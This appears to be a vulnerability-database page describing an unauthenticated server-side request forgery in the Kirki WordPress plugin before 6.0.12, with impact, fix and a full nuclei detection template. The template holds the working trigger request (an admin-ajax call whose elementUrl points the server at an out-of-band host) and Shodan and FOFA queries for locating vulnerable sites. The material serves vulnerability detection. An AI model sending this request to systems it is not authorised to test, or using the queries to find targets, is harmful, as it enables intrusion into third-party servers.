HexBrain

Browse / CVEs / CVE-2026-13147

CVE-2026-13147· developer-developer / kirki· CWE-918

WordPress Kirki < 6.0.12 - Server-Side Request Forgery

highseverity
5.3CVSS score
1.5%likelihood of exploitation, next 30 days
74%of all CVEs are less likely
Readycheck to confirm it

Kirki WordPress plugin < 6.0.12 contains a server-side request forgery caused by lack of URL validation, letting unauthenticated attackers make the site issue HTTP requests to arbitrary hosts, exploit requires no authentication.

Impact

Unauthenticated attackers can make the server send HTTP requests to arbitrary hosts, potentially leading to internal network access or data exposure.

Fix

Update to version 6.0.12 or later.

How to confirm it

Send: GET /
Positive when: contains(body, "window.wp_kirki")
Send: GET /wp-admin/admin-ajax.php?action=kirki_get_apis&endpoint=get-pre-built-html&elementUrl=http%3A%2F%2F{{interactsh-url}}
Positive when: contains in interactsh_protocol "http"

Run it with nuclei: nuclei -id CVE-2026-13147 -u <target>

The full check
id: CVE-2026-13147

info:
  name: WordPress Kirki < 6.0.12 - Server-Side Request Forgery
  author: 0x_Akoko
  severity: high
  description: |
    Kirki WordPress plugin < 6.0.12 contains a server-side request forgery caused by lack of URL validation, letting unauthenticated attackers make the site issue HTTP requests to arbitrary hosts, exploit requires no authentication.
  impact: |
    Unauthenticated attackers can make the server send HTTP requests to arbitrary hosts, potentially leading to internal network access or data exposure.
  remediation: |
    Update to version 6.0.12 or later.
  reference:
    - https://wpscan.com/vulnerability/kirki-ssrf
    - https://nvd.nist.gov/vuln/detail/CVE-2026-13147
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2026-13147
    epss-score: 0.01466
    epss-percentile: 0.73901
    cwe-id: CWE-918
  metadata:
    verified: true
    max-request: 2
    vendor: developer-developer
    product: kirki
    framework: wordpress
    publicwww-query: "/wp-content/plugins/kirki/"
    shodan-query: http.html:"/wp-content/plugins/kirki/"
    fofa-query: body="/wp-content/plugins/kirki/"
  tags: cve,cve2026,wordpress,wp-plugin,wp,kirki,ssrf,oast

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 3

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "window.wp_kirki")'
        internal: true

    extractors:
      - type: regex
        name: nonce
        group: 1
        internal: true
        regex:
          - 'nonce:\s*"([a-f0-9]{10})"'

  - raw:
      - |
        GET /wp-admin/admin-ajax.php?action=kirki_get_apis&endpoint=get-pre-built-html&elementUrl=http%3A%2F%2F{{interactsh-url}} HTTP/1.1
        Host: {{Hostname}}
        X-WP-Nonce: {{nonce}}

    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

References

Use this check only on systems you are authorised to test. Where the data comes from